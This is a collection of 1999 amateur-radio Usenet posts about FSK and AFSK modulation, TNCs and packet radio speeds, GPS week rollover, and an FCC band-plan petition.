words, the receiver is heterodyning the pair of RF frequencies down
to a pair of frequencies at low IF, in this case an IF at audio frequencies
you can hear. The only thing constant is the shift between the tones.

Now if you feed the AFSK signal to a *FM* transmitter, the tones
are just ordinary audio tones modulated onto the FM carrier. When
you receive the signal with a FM receiver, you get the same two
tones back, even if your receiver tuning is a bit off. It is the same
as speech to the system. The FM link is transparent to the signals
and can be ignored. You just have AFSK, no heterodyne conversion
to or from RF FSK has occurred.

If you try to receive it with a SSB receiver, you get a mess. There aren't just two tones at RF, instead you have a FM double sided modulated envelope with the main sideband frequencies proportional to the instantaneous amplitude of the modulation, and with other sidebands spaced in a Bessel distribution which depends on the modulation index. This is *not* FSK. This is just FM carrying audio tones.

Now if you feed the direct DC coupled *baseband* signal (the 1s and 0s of the data) to the FM transmitter (and assuming it is true FM with a response down to DC), and if you set its deviation to 500 Hz (I mistakenly said 1 kHz in a previous post), you'll get a signal that is identical to the one you got with a SSB transmitter modulated with 1200-2200 Hz tones (or any other audio tone pair with a 1 kHz spacing). You won't be able to tell which is which over the air. If you receive it with a SSB receiver, it will be just the same as receiving the tone modulated SSB signal described earlier. This is real FSK.

(It is also the way a transmitter with a FSK mode position works, ie a SSB or CW transceiver with a FSK mode position is actually a DC coupled FM transmitter when in that mode. Ok, not always, some transceivers have internal audio tone generators that they use while in FSK mode, and are still operating in SSB mode, but most actually shift the carrier frequency FM style when in FSK mode.)

Finally, if you receive a real FSK signal with a *FM* receiver, whether generated with audio tones fed to a SSB transmitter or with baseband coupled directly to a FM transmitter, things are a bit more interesting. The FM receiver won't be able to tell how they were generated (since they are identical over the air). If you listen to the speaker, you'll hear a buzz that's proportional to the baseband bit rate. What you're hearing is the transitions between 1 and 0. You *do not* hear the 1200 and 2200 Hz tones. They aren't there to the FM receiver.

But if you DC couple to the discriminator of the FM receiver, you'll get a replica of the original modulating signal, IE the baseband data. So you don't need a separate modem to receive direct FSK with a FM receiver, no matter which way it was generated. (Note, you may get poor performance unless the receive bandwidth of the FM receiver is closely matched to the bandwidth of the transmitted FSK signal.)

You can use a SSB receiver the same way if you add a modem of the PLL or discriminator type. It will recover a baseband signal from the FSK signal, received and heterodyned down to an audio IF by the SSB receiver, in the same way as the FM receiver does. In other words, you can think of a SSB receiver with modem as a heterodyne FM receiver for FSK data. (The discriminator in the modem will typically be optimized for the FSK signal bandwidth, so this usually works better than directly using a FM receiver.)

>You mentioned in your other post that
>the former can be demodulated using a pair of matched filters, one
>with a passband centered at the mark frequency and the other centered

>at the space frequency. Is the same true for a direct FSK signal? If
>so, what frequencies would the filters be designed to pass? If not,
>what technique(s) can be used to demodulate the signal?

There's also another way to receive FSK. You can use a filter demodulator instead of a frequency discriminator demodulator. The way this works is that you have two sharply tuned filters, one tuned to the mark frequency, the other to the space frequency. The outputs of the two filters are envelope detected and compared in amplitude by a slicer. This gives you the 1s and 0s of the baseband for any real FSK signal just as the discriminator method does.

Note that the two frequencies can be on-channel RF frequencies, or frequencies heterodyned down to some IF, or even down to an audio IF. The filter center frequencies are different for the different cases, but the result is the same. Since you'd like to have the receiver tunable, but don't want to have to retune the filters, you'll usually use mark and space filters at a fixed IF. The lower the IF you use, the greater percentage frequency separation the filters will have (which relaxes the Q requirement of the filters), so you would normally use as low an IF as possible, typically at audio. So you hook up the *modem* the same way to the receiver whether it is a discriminator modem or a filter mode modem.

It can be shown mathematically that a discriminator demodulator and a filter demodulator are equivalent circuits. There are some practical implementation details that may make you favor one over the other in a particular situation, but in theory they offer equivalent performance. (The devil is in the details, of course, and in practical terms the filter demodulator is often easier to get to perform well in noise and interference, especially when implemented in DSP.)

Ok, there was a lot of information given here. Let me summarize.

For FSK transmission:

1) You can get real FSK by feeding a pair of frequency shifted audio tones to a SSB transmitter.

2) You *cannot* get real FSK by feeding raw baseband data to a SSB transmitter.

3) You can get real FSK by feeding DC coupled raw baseband data to a true FM transmitter whose deviation is set to half the required shift. (Or to a transmitter labeled "FSK" which is the same thing.)

4) You *cannot* get real FSK by feeding a pair of frequency shifted audio tones to a FM transmitter.

Note that the SSB and FM cases are inverses of each other.

For reception:

1) You can receive FSK data with a SSB receiver and a modem. The SSB receiver merely acts as a hetrodyne front end and the modem acts as the demodulator.

2) You can receive FSK data with a FM receiver. It will directly demodulate the signal back to baseband. (DC restoration may be required.)

3) The modem, if required, may be either the discriminator type or the filter type. They are mathematically equivalent circuits, though for highest performance in noise and interference the filter type is easier to implement.

And finally, for real AFSK:

1) AFSK is audio frequency shift keying, any transmission method which is transparent to audio can be employed, ie AM, FM, PCM, a piece of wire, etc. (SSB is a special case because AFSK fed to a SSB transmitter produces real FSK.)

2) An audio frequency modem is required at each end of the link.

3) Typically, the bandwidth occupied by the transmitted AFSK signal is much greater than the bandwidth required for a FSK signal (because it is essentially double modulated), so performance in noise and interference is poor. (Again SSB is a special case.)

There are a number of implementation details for each of these methods which I have barely touched upon. The devil is in the details. They must be carefully considered for any real world system, or performance can be disappointing. For example I haven't mentioned the effects of limiters. A limiter is needed for a discriminator demodulator. It is not needed for a filter demodulator. If the channel is mainly gaussian, and signals are relatively strong, a limiter improves performance. But if the channel is mainly impulsive noise and interference, and the desired signal is weak, a limiter is harmful and a filter demodulator which doesn't require one would be better. (That seems counter-intuitive, but it can be demonstrated to be true.)

I have an MFJ-1270B that I recently pulled out of my closet and hooked up. Got it working, but the program that came with it (MFJCOM) is an older program (READ: Not windows-based). I searched the net for some shareware/freeware programs that would work with it, and when I put it into KISS mode I actually got one to work half-way decently (ok, not really, but it sounded good!)

Does anyone know of any shareware/freeware programs that will work with this TNC that are windows based??? I think the one I had was WinTNC, from England I think. I wasn't impressed. MFJ wants about $40-$50 US for their program. Any suggestions?? Please reply to group...thanks.

That sometimes works, if the card was initialized at the factory to defaults
that are compatible with your system. But often you have to initially power
the card up with the system running Windows to correctly write the NVRAM
on the card. Then you can use it with the system booted to Linux with a config
file telling Linux how the NVRAM has set the virtual DIP switches and jumpers.
Actual DIP switches and jumpers are much simpler and are operating system
independent. (I understand that work is being done to make Linux capable of
configuring PnP devices at bootup, but it isn't ready for prime time yet. You
still need to keep a copy of Windows around to initially configure a new PnP
card in your system.)

Absolutely. Karn's code performs to within 4 dB of the Shannon limit.
That's very close to the state of the art for dedicated hardware (which
can approach the Shannon limit to within about 2 dB, see Galileo). So
the sound card and software approach can be a very good, and very

cheap, addition to an ordinary amateur station (many of which already
have suitable computers and sound cards).

Separate $1000 "TNCs" aren't required to see this sort of benefit. I
consider such approaches obsolete, and definitely not cost effective
for single port home stations. If you're running multiple ports, additional
processing is helpful, but you can get that with networked PCs cheaper
than you can with several dedicated super TNCs hanging off of one
computer, thanks to the very low prices of PCs today. (I have 8 PCs
in my home network, and thanks to Moore's Law, the newer ones
are both much more powerful *and cheaper* than the older ones.)

By way of comparison to something familiar, the very best Morse
operator can only approach the Shannon limit to within about 14 dB
(at 12 WPM, roughly 10 bps), and things become impossible for the
Morse operator at higher speeds (McElroy's record for clean code
with no noise at all is 73 WPM, performance degrades sharply in
the presence of noise), and worse also for speeds below 5 WPM,
due to human limitations in mentally integrating the symbol energy
(University of Stockholm tests of unaided human aural tone detection
capability in noise).

The 10 dB minimum advantage of Karn's code to Morse is equivalent
to the difference between 1 kW and 100 watts, of course. So it has
practical implications for amateur operators. IE changing codes is
cheaper than buying an amplifier, and once you have the amplifier
and the biggest antenna you can erect, is about the only way to get
another 10 dB.

The DSP code still works, with reduced weak signal performance, at
much higher speeds (at thousands or millions of WPM, assuming a
fast enough processor, hundreds of WPM with the more mundane
equipment typically found in hamshacks, and allowed by our regulations),
and works with even better weak signal performance at lower speeds
(my hardware assisted system can work with increasing gain down to
100 seconds per bit if necessary).

Of course the coding is different from Morse too. That's a major reason
why the performance can be better. In addition to better signal modulation
symbol choice, the use of coding gain also greatly increases perfomance.
(For example, BPSK has an inherent 6 dB advantage over OOK before
signal coding is considered. But at signal levels above the detection
threshold, coding gains can be 20 dB or more. So coding gain can offer
benefits at least 3x as great as just changing the modulation symbols.
That extra gain can be used to allow increased speeds in accord with
the Shannon relationship between speed, bandwidth, and SNR.)

Most of this can be implemented on an ordinary PC with a sound card,
though some alterations in the RF hardware can be useful too. Karn's
code is a good example of a pure software approach. My methods,
which include some dedicated RF hardware, show how to get down
to levels where Karn's code used with a conventional receiver would

fail.

Conventional receivers don't have the frequency stability required
for long integration times (processing gain increases with the square
root of integration time). On HF, there can be other problems with
long integration times, however. Propagation effects can distort very
long symbols. Diversity reception is almost a must when symbol
times exceed a tenth of a second. I think that 10 bps may be a
practical lower limit for HF weak signal operation without special
equipment and diversity antenna systems. (I've pushed way below
that, with 100 second symbols, ie 0.01 bps, but it probably isn't
very practical for most amateur purposes, though the Lowfers
have used it effectively.)

The real advantage of digital coding techniques at HF shows up
in the higher speeds we can run with very modest RF equipment.
PSK31 is illustrative (but by no means the last word in what is
possible). PSK31 allows faster speeds at low signal levels than
are typically possible with manual Morse.

As signal levels decrease, Morse speeds have to fall down into the
5-12 WPM range, where the human brain is most capable of decoding
the signal in noise, at least 10 dB earlier than a properly digitally coded
signal has to slow that much. So we have that 1 kW vs 100 watt advantage
even at moderate speeds, ie 40 to 50 WPM, where manual Morse could
conceivably still be used (assuming the relatively rare Morse operator
who can go that fast at all is present).

If we don't care about throughput, this is all moot, of course. But if
we have information to convey beyond "UR 59 PSE QSL", we might
want to pay attention to the advantages this sort of modulation and
coding can offer us by simply using things most of us already have
on hand.

Peter almost singlehandly started a lot of activity using PSK31 by
releasing free software to do it on equipment most of us already own.
Karn's code is free too, but doesn't have the attractive user interface
of PSK31. If someone were to take Karn's code engine and wrap it in
a pretty user interface, I expect it would gain popularity on the bands
too (and perform a good bit better than PSK31).

Perhaps PSK31 is "good enough", and better methods aren't
considered necessary. But there are usually those who want
to try something better anyway. Pushing limits is very much
in the ham tradition.

No, that is quite wrong, at least as regards the setup popular in the
scanner groups for receiving MDT, POCSAG, etc.. It is baseband. The
signal has already been FM demodulated, and the software counts the
length of time between ther rising and falling edge of a single pulse
to determine if is a zero bit or a one bit. Just as the the original
poster described. You are confusing FSK with AFSK or something.

The problem is associated with GPS receiver software (and a design hole in
the system per se), not the satellites themselves. RISKS DIGEST had a
couple of informative posts; check the following URLs:

<http://catless.ncl.ac.uk/Risks/18.24.html#subj3>
<http://catless.ncl.ac.uk/Risks/18.96>

Newer recievers have mostly been updated to cope with multiple 1024-week
cycles which is at the root of the problem, although apparently some
manufacturers also have a "traditional" Y2K problem as well.

The U.S. Coast Guard has a site relating to this problem. I've done some equipment testing with them and time/date functions and navigation are affected on some receivers. One issue is that when the GPS week is wrong, the receiver thinks it needs to download a new almanac every time it is started. This results in a minimum of 12.5 minutes to navigate.

I can't give you sources, but I know the following:

The problem is that the GPS system uses a 1024 count (10-bit counter) to tell time in weeks since some magic date in the 1980's. Some receiver implementations won't roll-over and will revert to this magic date, thinking it's "week zero." Time of day and position functions should work as normal.

Have a look at the G4XYW modem at
www.tvipug.freeserve.co.uk
which is RUH compatible (9k6 only) and also interfaces directly
to a TNC disconnect header with no additional components and
to a PA0HZP Opto-SCC card with no extra parts (both connector types
are on-board). Lots of other features such as CWID compatible,
hardware PTT watchdog, selection of TX waveforms, clock
generation and many other points.

Also available is a simple interface to allow the modem to be driven
directly from a PC serial port. So far DOS drivers for BPQ, xNOS
packet driver, Ethrax25 packet driver are ready.

Win95/win98 users are looked after by the SV2AGW packet engine
which now has a suitable driver.

Linux users will have a driver very soon!!

None of these drivers are required when using an SCC or TNC of
course - only if using the simple voltage converter.

I recently dowloaded "ka-gold" demo from www.qrz.com thinking that it
would support my KAM pous TNC which has been sittin in a box now for
about a year waiting for me to set it up for pactor. It has the
rom version 7.3 I think it it and is pactor ready. The software
"ka-gold" however as far as I can tell by reading the "read.me's" and
docs dont mention "pactor" at all, except it has one finle in
the dir list called "pactor.tnc". Does this software actually
work in pactor mode on vhf and hf or not??
I note in the books that came with the kam plus, it is PACTOR ready.
I also note in the books that it mentions that one can use any
"TERMINAL" type software as a driver such as PROCOMM plus etc
and achieve much greater capability in the process. Any comments
will be appreciated.

3062. MultiMode 2.5.0b2 Released

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-07 00:00:00 UTC
From: csmolinski@erols.com
Message-ID: <csmolinski-ya02408000R0707992015090001@news.erols.com>
Source record: 17468
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.shortwave,rec.radio.scanner

I've released version 2.5.0b2 of MultiMode, a decoding program for amateur radio operators and radio hobbyists. This version adds localization for Dutch and German, in addition to existing support for English, French, Italian, and Spanish.

MultiMode is a shareware application which allows your Macintosh to decode and transmit several different modes of non-voice communication often heard on shortwave and ham radio. It is the only program of its kind for the Macintosh,rivaling commercial packages for the PC platform costing hundreds of dollars. It is ideal for amateur radio operators, shortwave radio listeners, and other radio enthusiasts.

MultiMode allows you to decode and display morse code, RTTY, FAX, SSTV, ACARS, and many other modes on your Mac, without any extra hardware. MultiMode now also allows you to transmit in most of the modes of operation.

MultiMode is shareware. MultiMode may be downloaded from the following URL:
http://www.blackcatsystems.com/software/multimode.html

Dear Fellows,

I need your help. I was attempt to make FM Receiver for 108 MHz and up
(actually necessary 120.50 MHz receiver for my handmade plane to hear
tower broadcast). But all trys was failed.
I try to do receiver on TDA1220B, but it do not work well.
If you can, please, send me Receiver scheme. Or give me any suggestion.
I'll be very thankful.

My e-mail mailto:nova@kaunas.aiva.lt

Your Sincerely
Edgar.

'lo there.
I've been out for a long time so I'd like to hear some news from you.
I don't know what speed is packet radio running right now (in example)
and things like that.
I'd remember about a TCM3105 based TNC (Baycom) and things like that.
Are that kind of system still working. I'm going to buy a TM-241
Kenwood VHF.... are there any restrictions for such rig and high speed
radio packet (up to 9600 and more).
Any comments are welcome... thanks in advance.

It is not advisable to buy this kind of trx for 9600 bps.
When you want to use it for that purpose, get something that does true
FM, e.g. surplus commercial trx or something designed for data use.

9600 will work with a Kenwood, but not optimally.

3072. HELP: Ramsey FX-146 & KPC-3!

Newsgroup: rec.radio.amateur.digital.misc

Hello Everybody,

I have a Ramsey FX-146 2 meter transceiver I want to use on packet with my KPC-3 for APRS, Mir and SAREX. I receive packets just fine, but my problem involves the transmit side of things.

I have my TNC connected to the 5 pin DIN on the back according to the two manuals, and am having a problem. Whenever I have it hooked up to my TNC, the Ramsey rig stays keyed, whether the TNC in powered on or off.

The same thing happens when I have the TNC connected to the MIC and SPKR jacks on the front of the radio.

My questions...

What is causing the Ramsey to stay keyed?

Can anybody tell me how they have their Ramsey and KPC-3 wired?

Can anybody offer any other tips on how I can get these two to operate correctly?

Thanks! Please email me.

First, Rob tells us that 1.2kb Packet still dominates the network (In the USA)....

>> I'm going to buy a TM-241
>>Kenwood VHF.... are there any restrictions for such rig and high speed
>>radio packet (up to 9600 and more).
>
>It is not advisable to buy this kind of trx for 9600 bps.

>
>9600 will work with a Kenwood, but not optimally.

Then Rob tells us WHY 1.2kb Packet still dominates the network (In the USA)!

When standard, widely used equipment is not good enough for "something", then "something" is just plain not going to see much use. Sure, experimenters can cobble up something from an old commercial rig, or those with deep pockets can buy specialized equipment, but as long as "Joe Ham" is left out in the cold, folks, it just ain't going to fly on a widespread basis.

When you consider the fact that "backbone" links between nodes need to be at least 10 times faster than the user access channels in order to work properly, you come to realize just how lucky we are that "Joe Ham" is still stuck with 1.2kb in the USA... If he wasn't, then most of our present VHF/UHF network infrastructure would be almost completely useless and need an immediate upgrade to - at least 10 times the user access speed.

Don't believe me? Take a good look at TexNet, which uses 9.6kb backbones to handle 1.2kb access... TexNet has suffered severe congestion problems at times, despite the backbone being eight times faster than the user access. And I suppose most of us are familiar with the performance of networks which combine user access and node-node links at the same speeds and sometimes even on the same frequencies. Yuk!

From what I understand, 9.6kb user access is common in parts of Europe. - But in those same areas, 19.2 kb full-duplex is common for node-node links. As far as I know, only a few experimenters in the USA have even TRIED using fulldup links at any speed, much less at 19.2kb.

I have been told that a 1.2kb fulldup link will outperform a 9.6kb setup such as TexNet uses, which is subject to HTS. (TexNet uses the same backbone freq for most of it's nodes.. Cheap 'n easy, but also HTS city!) Several of the link timing parameters are simply set to "zero" in a fulldup link.

So don't bemoan the fact that user access in the USA hovers around 1.2kb, unless you are willing to come up with a high-speed data radio that "Joe Ham" can and will use, and at the same time learn to set up your backbone links to HANDLE higher user access speeds.

It most certainly CAN be done. It already HAS been done; just not in the USA.

Maybe we should stop being so provincial-minded and take a good look at what's going on elsewhere, if we want to say goodbye to 1.2kb user access. What has been tried here in the USA obviously does not work.

Correct, although some modes don't use sinusoidal waveforms.

>The serial port is configured to generate interrupts to the CPU when
>this demodulated signal chages state,

Correct.

>and a VxD driver notes the times of these changes and passes the
>resulting binary digit stream up to the application for further
>processing.

This is OS-specific. DOS applications, for instance, do not use
any drivers.

>If my interpretation is correct, could not the same result be
>achieved by sampling the discriminator output with a sound card and
>converting each sample into either a '1' or a '0' by comparing it
>with 0, i.e.

You would be better off if you looked at the magnitude of the
samples and interpolated to get the actual zero crossing point.

>If the sound crd's sampling rate were set high enough (i.e. higher
>than the Nyquist rate), the output would be an equivalent series of
>binary digits which could be processed in much the same way as the
>output of a data slicer.

Of course. The sound card just gives you much less timing
resolution, but most decoding applications don't need the
resolution that data slicers provide.

>Is this about right, or am I way off base here?

Close enough. Just be aware that low baud rate digital signals
are usually sent using one audio frequency for zero bits, and

another frequency for one bits (FSK?), while higher baud rate signals use an audio waveform that is essentially a distorted version (but with accurate zero crossings) of the square waves that make up the original digital data stream.

With the former encoding method, several zero crossings occur during one bit-time, while the latter method produces zero crossings only when the data changes between zero and one (i.e. 11010100 will have five zero crossings while 11111100 creates only one zero crossing).

>NOTE: SPAM shields at 100%, Captain!

Same here.

There is no point in being the only person doing, say,
56k packet if there is nobody else in the area who is
doing it as well.

Please, if only for the sake of completeness, include the
possibility of building a high-speed packet radio. The RF
side is straightforward, and you can use off-the-shelf
modem chips (e.g. MX589), use DSP, or build a hardware
demodulator. For a specific, limited, function like this
you can build a far better radio than you can buy.

Designs for fast (>1 MBPS) packet radios have been published
by folks like S53MV. If duplicating them is beyond the
capability of "Joe Ham" we're in *big* trouble.

Pretty much any software that 'helps' you operate the TNC
without learning all of the manual commands will cripple
you in some respect. Just using good old Hyper Terminal
that comes with windows 95/98 or using a simple DOS terminal
program has always worked for me. Of course, you can't
set up a BBS without some pretty fancy scripting, but then
again, the KAM does pretty much all it needs to without any
BBS type software running on it.

On 7 Jul 1999 22:53:00 GMT , Joseph spewed forth to rec.radio.amateur.digital.misc:

Check whether the rig requires positive or negative keying, and which type
the TNC is set to. There is usually a way to switch the TNC between
positive and negative keying, see your manual.

Exactly. That has been my experience with 9.6kb gear, and I'm sure the same holds true of 56kb gear.

>Please, if only for the sake of completeness, include the
>possibility of building a high-speed packet radio.

Sure... But it will not see widespread use until suitable equipment is available commercially, AND there is network infrastructure that can handle it.. To expect "Joe Ham" to get into home-brewing and experimenting on a widespread basis is unrealistic in the extreme. - To expect him to, when the network cannot even handle the increased load if he did, is just plain dumb.

My point is that the networkers better thank their lucky stars that 1.2kb user access rules in the USA. The US packet network is still getting by on 1.2kb and 9.6kb backbone links, with a very few exceptions. As long as this holds true, high-speed user access is neither practical or desirable. You need backbone links at least 10 times faster than the speed of user access ports.

If the networkers won't build high-speed backbone links, it's pretty foolish to sit around wishing for faster user access.

>The RF
>side is straightforward, and you can use off-the-shelf
>modem chips (e.g. MX589), use DSP, or build a hardware
>demodulator. For a specific, limited, function like this
>you can build a far better radio than you can buy.

I don't doubt that you can, especially since the typical radios which you can buy are generally unsuitable for high-speed packet.
This does not mean that "Joe Ham" will care to build his own on a widespread basis.. To expect them to is pretty silly. It ain't going to happen. There's no reason for him to do so. If there were good reason, we wouldn't be having this discussion.

>Designs for fast (>1 MBPS) packet radios have been published
>by folks like S53MV. If duplicating them is beyond the
>capability of "Joe Ham" we're in *big* trouble.

Correction: We're in big trouble if our plans depend upon "Joe Ham" to do so on a widespread basis.

Let's try to stick with reality; The networkers need to show a bit of leadership by upgrading their backbone links whether "Joe Ham" goes for high-speed or not.
THEN you can start trying to convince the manufacturers to offer decent, inexpensive data radios capable of handling higher speeds, and they might just take you seriously.
THEN you can finally start whining because "Joe Ham" does not go for high-speed packet, if he hasn't already done so by then.

The way things stand now, promoting high-speed user access in the US is a waste of hot air. The networkers need to get off their fat hineys.

What we need is high-speed infrastructure. Everything else hinges upon that.

Well, I'm not convinced that a backbone would take any more hits because
the user connections are faster. It seems to me that the backbone would
be dependent on how many messages are posted -- and that might go up
slightly if the user connections weren't slow. But, I'll wajer that
most of the capacity comes from sources outside that
net anyway, so speeding up user access, even if it doubled posting wouldn't
make that much of a difference. Since user postings are only a small
fraction of the data. All that @WW stuff has got to reach all the nodes
even if no one reads it at all. It's just that no one reads it now,
cause, like life is too short to sift through it. At 9600, maybe
people could at least browse some of the messages with less pain.

Me, I've just felt too much precious youth slipping away waiting for
1200 baud packet listings to come in. And, like what about, say,
the MFJ data radios and soundmodems -- or Baycom modems. It seems
like the equipment for tbis is pretty much available and not so
expensive. I figure I'm going to put together some 9600 stuff
here, and there is a little 9600 activity here in the SF Bay
area, and maybe, if there's no one to talk to, I'll get
a Kenwood digital HT and send messages to myself or something.
I'm just done with 1200 baud user access ports.

From: alain stchctouschenko <f1mdt@club-internet.fr>
Message-ID: <37864A5C.ACB33155@club-internet.fr>
Source record: 17488

Please:

Is there some kind soul out there that owns a Kenwood IF10C interface module and is willing to share some information ?

I have been unable to locate an IF10C module (the part of the computer interface that fits inside the TS140S) and have come to the conclusion, after many hours of research, that finding one will be next to impossible.

At this point the best option appears to be the construction of a "replacement" module for the IF10C. To facilitate construction of a replacement module the following information is necessary:

Schematic of the IF10C.
Source Code for the Eprom.
Pictures or direct scans of the Kenwood printed circuit board.

I plan to use cad and photoresist to duplicate the "daughter" board giving me the ability to help others once a successful replacement has been verified.

Any information that you can supply would be greatly appreciated.

Thank you and 73

for direct information

Source record: 17489

Please review for technical accuracy my Web page that provides information
on the Central States VHF Society Petition for Proposed Rule making.
The petition, intended to codify the weak-signal band plan as a
change to FCC rules, apparently unintentionally has the side effect of
prohibiting two meter packet activity.

http://www.umn.edu/home/tjs/CSVHFS.html

In particular, please let me know if I got the analysis of the effects
of the proposed changes on Section 97.305, Authorized emission types,
right. I think my description is pretty close, but I am tired of
reading FCC Rules and emission type descriptions, and so might be off
by just a bit...

That's OK... The people who actually work with Packet networking understand this concept very well, and that's what counts. You can remain unconvinced and it won't hurt a single thing. Don't worry.

It appears that your concern revolves around BBS access. The clever way to "speed up" BBS access is to find an FBB BBS that broadcasts message headers as they arrive, and use software like TPK that automatically captures these and stores them on your system. Then, you don't need to connect to the BBS at all, until you are ready to read the messages you have chosen. If you are off the air for a while, the BBS will send you an update. This speeds up access considerably, and cuts down on the amount of time you spend tying up the freq listing bulletins.

I ran a 9.6kb access port on my BBS for a bit over a year, advertised it, and so on. Nobody utilized it, so I put the radio and antenna to better use - at 1.2kb.

Please review:

CENTRAL STATES PETITION CAUSES A STIR

What a difference a couple of words can make. A petition for rulemaking aimed at formally segregating wideband and narrowband modes on VHF and UHF bands has generated a flurry of comments within the Amateur Radio community. But the controversy is due, in part, to the inadvertent absence of some wording in the filing from the Central States VHF Society of Kerrville, Texas.

The FCC has assigned RM-9673 to the CSVHFS petition, which seeks generally more restrictive regulation of the modes used by amateurs in the 6 meter, 2 meter, 1.25 meter and 70 cm bands. Comments are due on the petition by July 28.

"The Central States VHF Society has long been concerned about the increasing encroachment into the so-called weak-signal portions of the bands above 50 MHz by wider-bandwidth modes, such as voice FM and occasionally packet also," said CSVHFS Government Liaison Committee Chairman Bill Tynan, W3XO. "All the Society was trying to do was to codify current practice into regulations so that nobody is confused."

The CSVHFS petition says that band plans such as those promulgated by the ARRL and other organizations "have not proven adequately successful in limiting these wide band modes from the band segments used for weak signal communication."

Tynan compared the petition's goals to the current regulatory situation on 10 meters, where FM is prohibited below 29 MHz. "I think you could see how bad it would sound on 20 meters if people decided they wanted to run FM because it sounded so good," he said. Problems resulting from wideband interference with narrowband--or weak-signal--modes such as CW or SSB are occurring more often, Tynan said, "especially in the larger cities."

Most of the controversy resulted from inadvertent wording in the CSVHFS petition that would have banned packet and APRS from the 2 meter band. "There's no intention of anything like that," Tynan said. "There was an error committed by me in the appendix in terms of not putting down all the modes that are listed in the rules."

Tynan said the petition actually intended no other modifications of authorization for "data" or "test" modes above 50.3, 144.3, or 222.15 MHz and on the portions of the 70 cm band below 431.8 MHz and above 432.5 MHz. "Unfortunately, by the inadvertent omission of 'data' and 'test' from the Appendix, the filing did not properly reflect that intent," he said.

Tynan said the mistake will be corrected when CSVHFS files its own comments on the petition by month's end.

The changes proposed to Section 97.305 of the FCC rules would have the following effects:

* 50.0-50.1 MHz: Add RTTY and data emissions at up to 1200 bauds (this band segment is now limited to CW only).

* 50.1-50.3 MHz: Delete MCW and data. The band segment would be limited to CW, phone, image, and RTTY, but CSVHFS proposes no maximum symbol rate for RTTY. No wideband FM would be permitted (modulation index would be limited to 1 or less).

* 50.3-54.0 MHz: No changes.

* 144.0-144.1 MHz: Add RTTY and data emissions at up to 1200 bauds (this band segment is now CW only).

* 144.1-144.3 MHz: Delete MCW and data. The band segment would be limited to CW, phone, image, and RTTY, but CSVHFS proposes no maximum symbol rate for RTTY. No wideband FM would be permitted (modulation index would be limited to 1 or less).

* 144.3-148.0 MHz: No changes.

* 222.0-222.15 MHz: Delete MCW, RTTY, data, test (except for brief test transmissions), and wideband FM.

* 222.15-225.0 MHz: No changes.

* 431.8-432.5 MHz: Delete everything but CW and SSB (ie, no wideband FM permitted), and image.

The CSVHFS Board of Directors will formulate its own comments on the petition when it meets in Cedar Rapids, Iowa, July 22-24. The CSVHFS petition also is expected to come up for discussion when the ARRL Board of

Directors gathers in mid-July.

The ARRL article reflects what some think the CSVHFS petition _should have said_, not what it _actually says_. I, on my Web page, tried to analyze what the petition actually says. (Personally, I find the CSVHFS filing incomprehensibly sloppy, to the point where it appears to reflect a lack of respect for the FCC and its procedures.)

I believe, and I could be wrong, that there ought to be a substantial number of comments submitted to the FCC that emphasize that the CSVHFS petition, as submitted, is wrong. In a large sense, the only document against which comments can be made is the one actually submitted by the CSVHFS, not some nonexistent document that people think should have been submitted instead.

Beyond the technical accuracy of the CSVHFS submission, there is the substantial issue of whether it is in the interest of amateur radio to move band planning from organizations controlled by radio amateurs (such as the ARRL) to a governmental organization not controlled by radio amateurs (i.e., the FCC). Note that the FCC must make decisions based on the "basis and purpose" of amateur radio specified in Section 97.1 and public policy, not on what is fun, "neat" or popular, as can the ARRL. Also, the FCC procedures are open to non-hams (e.g., LEO interests can submit comments against the CSVHFS petition) and there are probably lots of groups that are much more effective at using or even manipulating the FCC processes than are hams (as evidenced by the CSVHFS petition).

Furthermore, if the FCC were to put their regulatory weight behind some mode, I think there are far stronger arguments that the FCC ought to do what it can to stimulate the development of digital modes, IP and probably spread spectrum. (My comments will probably be along these lines.)

It seems to me that you are only considering the BBS application. All
your users are connecting the local BBS, and the backbone is used to
transfer their messages and bulletins.

Some 10 years ago, when the packet radio enthousiasts dreamt about
a packet network, BBS was only one of the applications. Other applications
that required long-haul data transfer could be written (and some were),
and users could of course make direct connections to other users via
the network.

However, this has always remained so awfully slow that it has not really
taken off, like the Internet has.
With the lack of speed, there was no real motivation to have a network,
and with the lack of motivation there was no commitment to build and
maintain it.

Yeah, well the comment was made referring to BBS operations. The point
being that if you stuck higher speed user access to the current network of
BBS's, I just don't see how people would post
that many more messages. Or if that isn't the problem -- how exactly would
higher speed access affect their backbone.

And, even if the users did post more and longer messages,
I'd think you'd be able to fix your backbone bandwidth issues by limiting
the sizes of messages that people posted, or perhaps the number of bulletins
people could post in a day or something. Me, I'd much rather put up with
some kind of posting restrictions -- rather than suffer through listing
out those messages at 1200 baud, bleah.

I'm thinking maybe I should try to get my BBS connected to the packet network
here locally -- just so I can download the messages to my own system
automatically, and not have to mess around with reading off of slow ax25 links.
I sent out a few emails, via packet, and we'll see how that goes -- and what's involved
exactly. Then, I could just browse them right on my own system at high speed.

And, no I wasn't thinking of other ax25 applications.
As for ax25 applications, what is there? I guess APRS and DX Cluster --
both of which I don't think suffer all that much for being at 1200. I keep
thinking that somehow, maybe that Kenwood digital HT, might be a kind of
watershed product for some kind of new ax25-based applications -- other
than what the APRS people are using them for. I don't know yet. And I
guess the thing uses ax25 and not IP, so that's a reason for having an ax25 network.

So there's something new. Also the availability
of cheap software-driven modems, is a new factor. Me, I got the Sound Blaster
modem working in Linux. Getting back to the topic here, Home Made TNC, the
Linux Soundmodem code, honest to god works -- but you want a real sound blaster
with DIP switches.

Here, in the SF Bay area we have IP guys on one frequency, and AX25 guys on other
frequencies. The ip guys typically cluster around the gateways -- and seem
to run jnos -- mostly for receiving email, which works okay. The ax25 guys run
BBS's on a few frequencies around here and do seem to exchange traffic over ham
radio, from what I see. I've met a few users of the ip network who are pretty
enthused about it -- running IRC and email and stuff. Apparently the
ip network doesn't have as much use as the good old days -- though my experience
was that 145.75 was just so busy anyway, this might be a good thing. IP, imo,
is not going away -- just for the applications on the Windows/Linux world being
used in ham radio.

The ax25 guys are hanging in around here, though it seems they're bummed for
the lack of users -- at least in the few email exchanges I've had. Still, I
would also say that forwarding of traffic over ham radio has a long history, and
I hope it continues. I think a little integration would be nice.
It would be nice to be able to browse AX25 mail using an nntp client.

It is a pleasure ! Bidirectional gatwaying of bulletins between NNTP
and AX25 BBS networks has been happening in the London & Home Counties
area for the last few years.

I use the (Linux) Pine mailer to read and respond to the AX25 BBS topic
groups that I'm interested in - it takes a lot of pain out of just using
a BBS front end, and stimulates some usage that might not otherwise occur.

Cool, is there a Linux package to transfer the data from F6FBB or some
